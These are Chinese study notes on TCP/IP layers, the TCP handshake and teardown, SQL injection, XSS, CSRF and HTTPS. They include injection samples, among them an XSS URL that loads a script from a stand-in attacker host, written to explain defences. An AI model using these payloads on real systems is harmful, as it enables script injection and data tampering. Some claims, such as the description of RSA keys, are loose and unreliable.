TCP/IP
網絡協議
計算機網絡需要解決的一個重要問題就是如何無障礙地發送和接收數據，而發送和接收數據的過程需要相應的協議來支撐，按互相可以理解的方式進行數據的打包與解包，使不同廠商的設備在不同類型的操作系統上實現順暢的網絡通信。
TCP/IP 是傳輸控制協議/因特網互聯協議，這個協議族裏還包括 HTTP、HTTPS、FTP、SMTP、UDP、ARP、PPP、IEEE 802.x 等。TCP/IP 是當前流行的網絡傳輸協議框架，從嚴格意義來說是一個協議族，因爲 TCP 和 IP 是其中最爲核心的協議，所以命名爲 TCP/IP。另一種知名的 OSI 七層網絡協議已經被淘汰。
TCP/IP 協議分層框架主要分爲五層：物理層、鏈路層、網絡層、傳輸層、應用層。
-
鏈路層： 單個 0 和 1 是沒有意義的，鏈路層以字節爲單位把 0 和 1 進行分組，定義數據幀，寫入源和目的主機的物理地址、數據、校驗位來傳輸數據。鏈路層的報文結構包括鏈路層報頭和幀上數據，報頭包括目標 MAC 地址、源 MAC 地址和網絡層協議。MAC 地址長 6 個字節共 48 位，通常使用 16 進製表示。使用
ifconfig -a即可看到 MAC 地址，每個地址是全球唯一的。 -
網絡層： 根據 IP 定義網絡地址，區分網段。子網內根據地址解析協議 ARP 進行 MAC 尋址，子網外進行路由轉發 IP 數據包。
-
傳輸層： 數據包通過網絡層發送到目標計算機後，應用程序在傳輸層定義邏輯端口，確認身份後把數據包交給應用程序，實現端口到端口間的通信。最典型的傳輸層協議是 TCP 和 UDP。UDP 只是在 IP 數據包上增加端口等部分信息，是面向無連接的，屬於不可靠傳輸，多用於視頻通信、電話會議等。與 UDP 相反，TCP 是面向連接的，所謂面向連接就是一種端到端之間通過失敗重傳機制建立的可靠數據傳輸方式，給人感覺是有一條固定的通路承載着可靠的數據傳輸。
-
應用層： 傳輸層的數據到達應用程序時，以某種統一規定的協議格式解讀數據。比如 Email 在各個公司的程序界面、操作、管理方式都不同，但是都能夠讀取郵件內容，因爲 SMTP 協議就像傳統的書信格式一樣，按規定填寫郵編及收信人信息。
程序在發送消息時，應用層按照既定的協議打包數據，隨後由傳輸層加上雙方的端口號，由網絡層加上雙方的 IP 地址，由鏈路層加上雙方的 MAC 地址，並將數據拆分成數據幀，經過多個路由器和網關後到達目標機器。簡而言之就是按照"端口->IP地址->MAC 地址"這樣的路徑進行數據的封裝和發送，解包的時候反過來操作即可。
IP 協議
IP 是面向無連接、無狀態的，沒有額外機制保證發送的包是否有序到達。IP 首先規定出 IP 地址格式，該地址相當於在邏輯意義上進行了網段的劃分，給每臺計算機設置了一個唯一的詳細地址。鏈路層可以通過 MAC 地址找到機器，但仍然需要一個唯一的 IP 地址來標識機器，這是因爲在世界範圍內不可能通過廣播的方式來找到目標 MAC 地址的計算機而不超時。在數據投遞時就需要對地址進行分層管理，例如從美國寄快遞給中國陝西省西安市的我，快遞公司需要先確定中國的轉運公司，再從轉運公司逐級配送到各個下級轉運點。
IP 地址屬於網絡層，主要功能在 WLAN 內進行路由尋址、選擇最佳路由。IP 報文結構也是由 IP 報頭和 IP 數據組成。
生存時間 TTL 表示 IP 報文被路由器丟棄之前可經過的最多路由總數，TTL 初始值由源主機設置後，數據包在傳輸過程中每經過一個路由器 TTL 值則減 1，當該字段爲 0 時，數據包被丟棄，併發送 ICMP 報文通知源主機，以防止源主機無休止地發送報文。
ICMP 是檢測傳輸網絡是否通暢、主機是否可達、路由是否可達等網絡運行狀態的協議，ICMP 雖然並不傳輸用戶數據，但是對評估網絡健康狀態非常重要，經常使用的 ping、tracert 命令就是基於 ICMP 檢測網絡狀態的工具。掛載協議標識表示 IP 數據包裏放置的子數據包協議類型，如 6 代表 TCP，17 代表 UDP。
IP 報文在互聯網上傳輸時，可能要經歷多個網絡，才能從源主機到達目標主機。比如在手機上給某個 PC 端的朋友發送一個消息，經過無線網的 IEEE 802.1x 認證轉到光纖通信上，然後進入內部企業網 IEEE 802.3，並最終到達目標 PC。由於不同硬件物理特性不同，對數據幀的最大長度有不同的限制，這個最大長度被稱爲最大傳輸單元，即 MTU。在不同的物理網之間就可能需要對 IP 報文進行分片，這個工作通常由路由器負責完成。
IP 是 TCP/IP 的基石，幾乎所有其他協議都建立在 IP 所提供的服務基礎上進行傳輸，包括在實際應用中用於傳輸穩定有序數據的 TCP。
TCP 建立連接
TCP 是一種面向連接、確保數據在端到端間可靠傳輸的協議。面向連接是指在發送數據前，需要先建立一條虛擬的鏈路，然後讓數據在這條鏈路上"流動"完成傳輸。爲了確保可靠性，不僅需要對發出的每一個字節進行編號確認，校驗每一個數據包的有效性，在出現超時情況時進行重傳，還需要通過實現滑動窗口和擁塞控制等級制，避免網絡狀況惡化而影響數據傳輸的極端情況。每個 TCP 數據包是封裝在 IP 包中的，每一個 IP 頭的後面緊跟着的是 TCP 頭。
協議第一行的兩個端口號各佔 2 字節，分別代表了源機器和目標機器的端口號。這兩個端口號與 IP 報頭中的源 IP 地址和目標 IP 地址組成的四元組可以唯一標識一條 TCP 連接。由於 TCP 是面向連接的，因此有服務端和客戶端之分，需要服務端先在相應的端口上進行監聽，準備好接收客戶端發起的建立連接請求。當客戶端發起第一個請求建立連接的 TCP 包時，目標機器端口就是服務端所監聽的端口號，HTTP 服務的 80 端口、HTTPS 服務的 443 端口、SSH 服務的 22端口等。可通過 netstat 命令列出機器上已建立的連接信息。
協議第二行和第三行時序列號，各佔 4 字節。前者是指所發送數據包中數據部分第一個字節的序號，後者是期望收到來自對方的下一個數據包中數據部分第一個字節的序號。由於 TCP 報頭中存在一些擴展字段，所以需要通過長度爲 4 位的偏移字段表示 TCP 報頭的大小，這樣接收方纔能準確地計算出包中數據部分的開始位置。
TCP 的 FLAG 由 6 位組成，分別代表 SYN、ACK、FIN、URG、PSH、RST，都以置 1 代表有效。SYN 用作建立連接時的同步信號；ACK 用於對收到的數據進行確認，所確認的數據由確認序列號表示；FIN 表示後面沒有數據需要發送，通常意味着所建立的連接需要關閉了。
假設 A 機器是客戶端角色，B 機器是服務端角色，三次握手指的是建立連接的三個步驟：
- A 機器發出一個數據包並將 SYN 置 1，表示希望建立連接。這個包中的序號假設是 x。
- B 機器收到 A 機器發送過來的數據包後，通過 SYN 得知這是一個建立連接的請求，於是發送一個響應包並將 SYN 和 ACK 都置 1。假設這個包中的序列號是 y，而確認序列號必須是 x+1，表示收到了 A 發送過來的 SYN。在 TCP 中，SYN 被當作數據部分的一個字節。
- A 收到 B 的響應包後需進行確認，確認包中將 ACK 置 1，並將確認序列號設置爲 y+1，表示收到了來自 B 的 SYN。
需要三次握手的原因：
主要有兩個目的，信息對等和防止超時。從信息對等的角度看，雙方只有確定 4 類信息才能建立連接。在第二次握手後，從 B 機器的角度看，還不能確定自己的發報能力和對方的收報能力，在第三次握手後才能確認。
| 第 N 次握手 | A 確認自己發送 | A 確認自己接收 | A 確認 B 發送 | A 確認 B 接收 | B 確認自己發送 | B 確認自己接收 | B 確認 A 發送 | B 確認 A 接收 |
|---|---|---|---|---|---|---|---|---|
| 1 | N | N | N | N | N | Y | Y | N |
| 2 | Y | Y | Y | Y | N | Y | Y | N |
| 3 | Y | Y | Y | Y | Y | Y | Y | Y |
連接三次握手也是防止出現請求超時導致髒連接，TTL 網絡報文的生存時間往往會超過 TCP 請求超時時間，如果兩次握手可以建立連接，傳輸數據並釋放連接後，第一個超時連接請求才到達 B 機器的話，B 機器會誤以爲是 A 創建新的連接請求，然後確認同意創建連接。因爲 A 機器的狀態不是 SYN_SENT，所以之間丟棄了 B 的確認數據，以致最後只是 B 機器單方面創建連接完畢。
如果是三次握手，則 B 機器收到連接請求後，同樣會向 A 機器確認同意創建建立，但因爲 A 機器不是 SYN_SENT 狀態所以直接丟棄，B 機器由於長時間沒有收到確認信息，最終超時導致創建連接失敗，因此不會出現髒連接。
從編程的角度，TCP 連接的建立是通過文件描述符（File Descriptor，fd）完成的。通過創建套接字獲得一個 fd，然後服務端和客戶端需要基於所獲得的 fd 調用不同的函數分別進入監聽狀態和發起連接請求。由於 fd 的數量將決定服務端進程所能建立連接的數量，對於大規模分佈式服務，當 fd 不足時就會出現"open too many files"錯誤而使得無法建立更多鏈接。因此需要注意調整服務端進程和操作系統所支持的最大文件句柄數，通過使用 ulimit -n 命令查看單個進程可以打開文件句柄的數量，lsof 命令用於查看當前系統打開 fd 的數量。想知道具體的 PID 所對應的具體應用程序，可以使用 ps -ax|grep pid。
TCP 在協議層面支持 KeepAlive 功能，即隔段時間通過向對方發送數據表示連接處於健康狀態。不少服務將確保連接健康的行爲放到了應用層，通過定期發送心跳包檢查連接的健康度，一旦心跳包出現一場不僅會主動關閉連接，還會回收與連接相關的其他用於提供服務的資源，確保系統資源最大限度地被有效利用。
TCP 斷開連接
TCP 是全雙工通信，通信雙方都能作爲數據的發送方和接收方。A 機器想要關閉連接，則待本方數據發送完畢後，傳遞 FIN 信號給 B 機器。B 機器應答 ACK，告訴 A 機器可以斷開，但是需要等 B 機器處理完數據再主動給 A 機器發送 FIN 信號，此時 TCP 處於半關閉狀態，A 到 B 方向的連接已經關閉了。
B 機器做好連接關閉前的準備工作後，發送 FIN 給 A 機器，此時 B 機器進入 LAST_ACK 狀態等待 A 的最後確認。A 機器發送針對 B 機器 FIN 的 ACK 後，進入 TIME_WAIT 狀態，經過 2MSL 後沒有收到 B 傳來的報文，則確定 B 機器已經收到 A 機器最後發送的 ACK 指令，此時 TCP 連接正式釋放。
TIME-WAIT 和 CLOSE_WAIT 分別表示主動關閉和被動關閉產生的階段性狀態，如果在線上服務器大量出現這兩種狀態，就會加重機器負載，也會影響有效連接的創建，因此需要進行鍼對性的調優。
- TIME_WAIT：主動要求關閉的機器在收到了對方發出的 FIN 報文，併發送了 ACK 之後就進入 TIME_WAIT 狀態，等待 2MSL 之後即可進入 CLOSE 狀態，如果 FIN_WAIT_1 狀態下同時受到了帶 FIN 和 ACK 標誌的報文可以直接進入 TIME_WAIT 而無需經過 FIN_WAIT_2 狀態。
- CLOSE_WAIT：被動要求關閉的機器在收到對方請求關閉連接的 FIN 報文並進行第一次 ACK 應答後馬上進入 CLOSE_WAIT 狀態。這種狀態確實表示在等待關閉，並且通知應用程序發送剩餘數據，處理現場信息，關閉相關資源。
在 TIME_WAIT 等待的 2MSL 是報文在網絡上生存的最長時間，超過閾值報文則被丟棄。一般來說 MSL 大於 TTL 衰減至 0 的時間，在 RFC793 中規定 MSL 爲 2 分鐘，在當前網絡下 2 分鐘會造成極大的資源浪費，在高併發的情況下服務器通常會使用更小的值。之所以不直接關閉，而要等待 2MSL 主要有兩個原因：
- 第一，確認被動關閉方能夠順利進入 CLOSED 狀態。假如最後一個 ACK 由於網絡原因導致無法到達 B 機器，處於 LAST_ACK 的 B 機器通常會認爲對方沒有收到自己的 FIN+ACK 報文而進行超時重傳，A 機器收到第二次的 FIN+ACK 報文，會重發一次 ACK 並重新計時。如果 A 機器收到 B 機器的 FIN+ACK 報文後發送一個 ACK 給 B 機器就立即進入 CLOSED 狀態，可能會導致 B 機器無法確保收到最後的 ACK 指令，也無法進入 CLOSED 狀態。
- 第二，防止失效請求。這樣做是爲了防止已失效連接的請求數據包與正常連接的請求數據包混淆而發生異常。
因爲 TIME_WAIT 狀態無法真正釋放句柄資源，在此期間 Socket 中使用的本地端口在默認情況下不能再被使用。該限制對於客戶端來說沒有影響，但是對於高併發服務器來說會極大地限制有效連接地創建數量，稱爲性能瓶頸。因此建議將高併發服務器的 TIME_WAIT 調小。在服務器上通過變更 /etc/sysctl.conf 文件來修改該值，建議小於 30 秒。修改完之後執行 /sbin/sysctl -p 讓參數生效即可。
TIME_WAIT 是四次揮手斷開連接的尾聲，如果此狀態連接過多則可以通過優化服務器參數得到解決。如果不是對方的連接異常，一般不會出現連接無法關閉的狀態。但是 CLOSE_WAIT 過多很可能是程序自身的問題，比如在對方關閉連接後程序沒有檢測到，或者忘記自己關閉連接。
信息安全
黑客攻擊主要分爲非破壞性攻擊和破壞性攻擊。非破壞性攻擊一般是爲了擾亂系統的運行，使之暫時失去正常對外提供服務的能力，比如 DDos 攻擊等。破壞性攻擊主要會造成兩種後果：系統數據受損或信息被竊取，比如 CSRF 攻擊等。黑客攻擊的手段有病毒式、洪水式、系統漏洞等。互聯網需要建立一套完整的信息安全體系，遵循 CIA 原則，即保密性、完整性和可用性。
-
保密性
對需要保護的數據進行保密操作，無論是存儲還是運輸，都要保證用戶數據及相關資源的安全。比如在存儲文件時進行加密，在數據傳輸中也會通過各種編碼方式對數據進行加密等。在實際編程中通常使用加密等手段保證數據的安全，黑客有可能是是內部的因此大多數企業的用戶敏感信息都不是以明文存儲的，避免數據管理員直接拖庫下載。
-
完整性
訪問的數據需要是完整的，而不是缺失的或者被篡改的，不然用戶訪問的數據就是不正確的。例如在商場看中了一個 A 型號的收集，但售貨員在包裝時被其他人換成了更便宜的型號爲 B 的收集，這就是資源被替換了。在實際編寫代碼中，一定要確保數據的完整性，通常的做法是對數據進行簽名和校驗（例如 MD5 和數字簽名等）。
-
可用性
服務需要是可用的，如果服務器都不可用自然也沒有安全這一說了。例如去商場買東西，如果有人故意破壞，僱傭大量水軍在商場收銀臺排隊，既不結賬也不走導致其他人無法付款，這就是服務不可用的表現。這個例子和常見的 DoS 攻擊很相似，對於這種情況通常使用訪問控制、限流、數據清洗等手段解決。
SQL 注入
SQL 注入是注入式攻擊的常見類型，SQL 注入攻擊是未將代碼與數據進行嚴格隔離，導致在讀取用戶數據的時候錯誤地把數據作爲代碼地一部分執行，從而導致一些安全問題。典型的 SQL 注入例子是當對 SQL 語句進行字符串拼接操作時，直接使用未加轉義的用戶輸入內容作爲變量，例如：
var testCondition;
testCondition = Request.from("testCondition");
var sql = "select * from tableA where id ='" + testCondition + "'";
如果用戶輸入的 ID 是一個數字是沒有問題的，可以執行正確的查詢語句。但如果直接使用";"隔開，在 testCondition 中插入其他 SQL 語句，則會產生未知的結果，例如輸入 drop、delete 等。
再例如當用戶修改簽名時，偶然輸入 "# -- !#@ ，由於未對危險字符串 # -- 進行轉義，導致 where 後邊的信息被註釋掉，執行語句變爲：
update table set memo = "\"# -- !#@" where user_id = 123;
該 SQL 語句的執行導致全庫的 memo 字段都被更新，預防 SQL 注入主要從以下幾方面考慮：
- 過濾用戶輸入參數中的特殊字符，降低風險。
- 禁止通過字符串拼接的 SQL 語句，嚴格使用參數綁定傳入 SQL 參數。
- 合理使用數據庫訪問框架提供的防注入機制，例如 MyBatis 提供的
#{}綁定參數從而防止 SQL 注入，謹慎使用${}，它相當於使用字符串拼接 SQL。
XSS
XSS 表示跨站腳本攻擊，XSS 是指黑客通過技術手段，向正常用戶請求的 HTML 頁面中插入惡意腳本，從而可以執行任意腳本。XSS 主要分爲反射型 XSS、存儲型 XSS 和 DOM 型 XSS。XSS 主要用於信息竊取、破壞等目的。
反射型 XSS 示例：
<div>
<h3>反射型 XSS 示例</h3>
<br>用戶：<%= request.getParameter("userName") %>
<br>系統錯誤信息：<%= request.getParameter("errorMessage") %>
</div>
以上代碼從 HTTP 請求中取了 userName 和 errorMessage 兩個參數並直接輸出到 HTML 中展示，當黑客構建如下的 URL 時就出現了反射型 XSS，用戶瀏覽器就可以執行客戶的 JavaScript 腳本。
http://xss.demo/self-xss.jsp?userName= 張三 <script>alert("張三")</script>&errorMessage= XSS示例<script src= http://hacker.demo/xss-script.js/>
在防範 XSS 上，主要通過對用戶輸入數據做轉義或者過濾。例如可以使用 Jsoup 框架對用戶輸入字符串做 XSS 過濾，或者使用框架提供的工具類對用戶輸入的字符串做 HTML 轉義，例如 Spring 提供的 HtmlUtils。前端在瀏覽器展示數據時，也需要使用安全的 API，比如 innerText 而不是 innerHTML。
CSRF
CSRF 代表跨站請求僞造，即在用戶不知情的情況下，冒充用戶發起請求，在當前已經登錄的 Web 應用程序上執行惡意操作，如惡意發帖、修改密碼、發郵件等。
CSRF 有別於 XSS，從攻擊效果上兩者有重合的地方。從技術原理上兩者的本質不同，XSS 是在正常用戶請求的 HTML 頁面中執行了黑客提供的惡意代碼，CSRF 是黑客直接盜用用戶瀏覽器中的登錄信息，冒充用戶去執行惡意操作。XSS 問題出現在用戶數據沒有過濾和轉義，CSRF 問題出在 HTTP 接口沒有防範不受信任的調用。
防範 CSRF 主要通過以下方式：
- CSRF Token 驗證，利用瀏覽器的同源限制，在 HTTP 接口執行前驗證頁面或 Cookie 中設置的 Token，只有驗證通過才能繼續執行請求。
- 人機交互，例如調用網上銀行轉賬接口時校驗短信驗證碼。
HTTPS
HTTPS 即 HTTP over SSL，在之前的 HTTP 傳輸上增加了 SSL 協議的加密能力，SSL 是安全套接字層，SSL 協議工作於傳輸層與應用層直接，爲應用提供數據加密的服務。之前使用的是 DES 對稱加密算法，安全性不高，後來使用了 RSA 非對稱加密算法，它把密碼革命性地分成公鑰和私鑰，私鑰是用來對公鑰加密的信息進行解密的，需要嚴格保密。公鑰對信息進行加密，任何人包括黑卡都可以知道。
非對稱加密的安全性是基於大質數分解的困難，在非對稱加密中公鑰和私鑰是一對大質數函數，計算兩個大質數的乘積是簡單的，但這個過程的逆運算非常困難。在 RSA 中解密出明文的難度等同於分解兩個大質數的難度，因此在實際傳輸中，可以把公鑰發送給對方，一方發送信息時，使用另一方的公鑰進行加密生成密文，收到密文的另一方再用私鑰進行解密，這樣一來傳輸就相對安全了。
但非對稱加密並不是完美的，它有一個明顯的缺點就是加密和解密耗時長，只適合對少量數據進行處理。因此密鑰的傳輸使用非對稱加密，HTTPS 也是以這種方式來建立安全的 SSL 連接的，用戶甲和乙進行非對稱加密的傳輸過程如下：
- 甲告訴乙，使用 RSA 算法進行加密，乙回答說好的。
- 甲和乙分別根據 RSA 生成一對密鑰，互相發送公鑰。
- 甲使用乙的公鑰給乙加密報文信息。
- 乙收到信息用自己的私鑰解密。
- 乙使用同樣的方式給甲發送信息，甲使用同樣方式解密。
這個過程還是存在安全問題的，例如在第二步，如果甲的信息被黑客攔截，雖然黑客無法破解加密信息，但是可以使用自己生成的密鑰冒充甲的信息發送到乙。所以除了加密問題還有信任問題，這個問題通過 CA 解決，CA 就是頒發 HTTPS 證書的組織，HTTPS 是當前網站的主流文本傳輸協議，在基於 HTTPS 進行連接，就需要數字證書。
訪問一個 HTTPS 的網站大致流程如下：
- 瀏覽器向服務器發送請求，請求中包括瀏覽器支持的協議，並附帶一個隨機數。
- 服務器收到請求後，選擇某種非對稱加密算法，把數字證書籤名公鑰、身份信息發送給瀏覽器，同時也附帶一個隨機數。
- 瀏覽器收到後，驗證證書的真實性，用服務器的公鑰發送握手信息給服務器。
- 服務器解密後，使用之前的隨機數計算出一個對稱加密的密鑰，以此作爲加密信息併發送。
- 後續所有信息發送都是以對稱加密的方式進行的。
在整個 HTTPS 的傳輸過程中，主要分爲兩部分：首先是 HTTPS 的握手，然後是數據的傳輸。前者是建立一個 HTTPS 的通道，並確定連接使用的加密套件及數據傳輸使用的密鑰，而後者主要使用密鑰對數據加密並傳輸。
HTTPS 建立連接的過程如下：
- 客戶端發送一個 Client Hello 協議的請求，在 Client Hello 中最重要的信息是 Cipher Suites，這裏客戶端會告訴服務器自己支持哪些加密的組件。
- 服務端在收到客戶端發送的 Client Hello 請求後，會返回一系列的協議數據，並以一個沒有數據內容的 Server Hello Done 作爲結束。這些協議數據有的是單獨發送，有的則是合併發送。其中的重要協議包括：
- Server Hello：告知客戶端後續協議中要使用的 TLS 協議版本，還會確認後續採用的加密套件。
- Certificate：主要傳輸服務端的證書內容。
- Server Key Exchange：如果在 Certificate 協議中未給出客戶端足夠的信息，例如公鑰信息，則會在該協議進行補充。
- Certificate Request：這個協議是一個可選項，當服務端需要對客戶端進行證書認證的時候，纔會向客戶端發送一個證書請求。
- 客戶端在收到服務器的握手信息後，根據服務器的請求，也會發送一系列協議。
- Certificate：可選項，假如服務端發送了 Certificate Request 需要對客戶端進行證書認證，客戶端就需要發送自己的證書信息。
- Client Key Exchange：與 Server Key Exchange 類似，是對客戶端 Certificate 信息的補充，例如補充客戶端證書的公鑰信息。
- Certification Verity：對服務端發送的證書進行進行確認。
- Change Cipher Spec：該協議作爲一個獨立協議告訴服務端，客戶端已經接收之前服務端確認的加密套件，並會在後續通信中使用該加密套件進行加密。
- Encrypted Handshake Message：用於客戶端給服務端加密套件加密一段 Finish 數據，驗證建立起來的加解密通道的正確性。
- 服務端在接收客戶端的確認信息以及驗證信息後，會對客戶端發送的數據進行確認。
- Change Cipher Spec：通過使用私鑰對客戶端發送的數據進行解密，並告知後續將使用協商好的加密套件進行加密。
- Encrypted Handshake Message：與客戶端的操作相同，發送一段 Finish 數據驗證通道的正確性。
- 客戶端和服務端都確認加解密無誤後，按照之前約定的 Session Secret 對應用數據進行加密傳輸。